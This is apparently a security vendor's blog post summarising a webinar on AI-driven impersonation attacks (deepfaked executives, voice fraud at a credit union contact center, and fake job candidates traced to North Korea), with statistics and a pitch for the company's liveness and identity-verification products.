AI-Powered Impersonation Attacks: Where They’re Succeeding and How to Defend Against Them

AI-powered impersonation attacks use synthetic voice, deepfake video, and automation to convincingly mimic a real person, often an executive, a customer, or a job candidate in real time to move money, steal credentials, or gain insider access.

Not long ago, catching a deepfake job candidate was almost easy: ask them to wave a hand in front of their face, and the image would break. That trick is now gone.

When I sat down with the panel on our latest webinar, Pindrop’s Chief People Officer, Christine Aldrich, told us today’s fake candidates have polished resumes, credible LinkedIn profiles, and clean video and audio. The human eye can’t make the call anymore. That single shift is the thread running through everything our panel covered.

As one of our board advisors puts it, there are two kinds of companies right now: the ones that have been attacked, and the ones that have been attacked and don’t know it yet.

I pulled together this panel to walk through what these attacks look like in the wild, with the people who’ve caught them:

What are the most common AI impersonation attacks on enterprises?

Pindrop’s CISO Deepfake Defense Council, security leaders from seven Fortune 500 enterprises and other category-leading organizations, mapped six recurring AI attacks across five anonymous risk-mapping exercises.

In Pindrop’s own data, AI-enabled fraud is growing approximately 6x faster than traditional fraud attacks. We broke down three of the six attacks live in our webinar.

How does executive impersonation actually work?

Short answer: Attackers clone a leader’s voice or face and use the authority of that identity to push an employee into a harmful action, usually a wire transfer or running a command.

Michael Barnhart shared a case that shows the pattern:

The deepfakes weren’t the goal; they were the setup to get the target comfortable enough to run a command. As Barnhart put it: “You can’t trust the audio, the visual. You have to be more proactive in looking for these things.”

According to the ESET Threat Report H1 2025, “ClickFix,” a social-engineering technique that tricks a target into running a malicious command themselves, usually behind a fake error or “fix this” prompt, rose 517% between H2 2024 and H1 2025.

How do you catch a deepfake when the voice is real?

Short answer: Authentication alone can’t, you also need liveness detection.

Authentication asks, “Is this the right voice?”; liveness detection asks, “Is this a live human or a machine?” A genuine or cloned voice can pass the first and still fail the second.

A fraudster had spent roughly 3 hours on the phone with an STCU member, posing as the credit union’s own fraud department. Then that fraudster called into the contact center, impersonating the member.

The member’s real voice passed authentication, but the agent got a low-liveness-score alert. That mismatch was the signal, and the fraud team confirmed it wasn’t the member.

The authentication answered, “Is this the right voice?” and liveness detection answered, “Is this a live human or a machine?” Both layers had to fire.

Amanda said her agents “were blown away,” because they hadn’t seen this kind of catch before.

There was an operational win too. STCU’s old knowledge-based authentication took about 90 seconds per call before a member could even ask a question. For enrolled members now, identification takes under 15 seconds.

That gap is exactly where attackers operate: across Pindrop’s analysis, attackers bypass knowledge-based authentication in up to 90% of attempts and pass one-time-password checks nearly 1 in 4 times. A matching voice alone can’t clear a caller.

How do fake job candidates get through hiring?

Short answer: They don’t look fake anymore, so the human eye fails, continuous background identity verification catches what an interviewer can’t.

Today’s fake candidates show up with polished resumes, credible LinkedIn profiles, articulate answers, and clean video and audio; all that’s left is a faint pattern of tells, like a voice slightly out of sync or a subtle video glitch.

In Pindrop’s own pipeline, continuous identity verification flagged AI activity during an interview; the team traced the IP, and it came back to North Korea.

This isn’t a one-off. In Pindrop’s hiring telemetry, 1 in 343 applicants were linked to North Korea in 2025, rising to 1 in 47 in 2026, a 630% year-over-year increase.

Christine Aldrich’s advice for HR and recruiting leaders:

She also pushed back on async, verify-after-the-fact tools. By the time someone’s an employee, the front door is already open. And background verification actually speeds hiring up, because what really slows it down is doubt.

When recruiters trust who they’re talking to, they can focus on the work: assessing skills and making great hires.

What do these three attacks have in common?

An executive on a video call, a member in the contact center, a candidate in an interview, three channels, but I kept coming back to the same set of questions: Is this a machine? Is this a bad actor? Is this the right human?

A one-time check can’t answer them; continuous identity verification can.

That’s the layer Pindrop^® solutions were built for: authentication for the right human, liveness detection for the machine, and risk intelligence for the bad actor.

Catch up on the full conversation on-demand.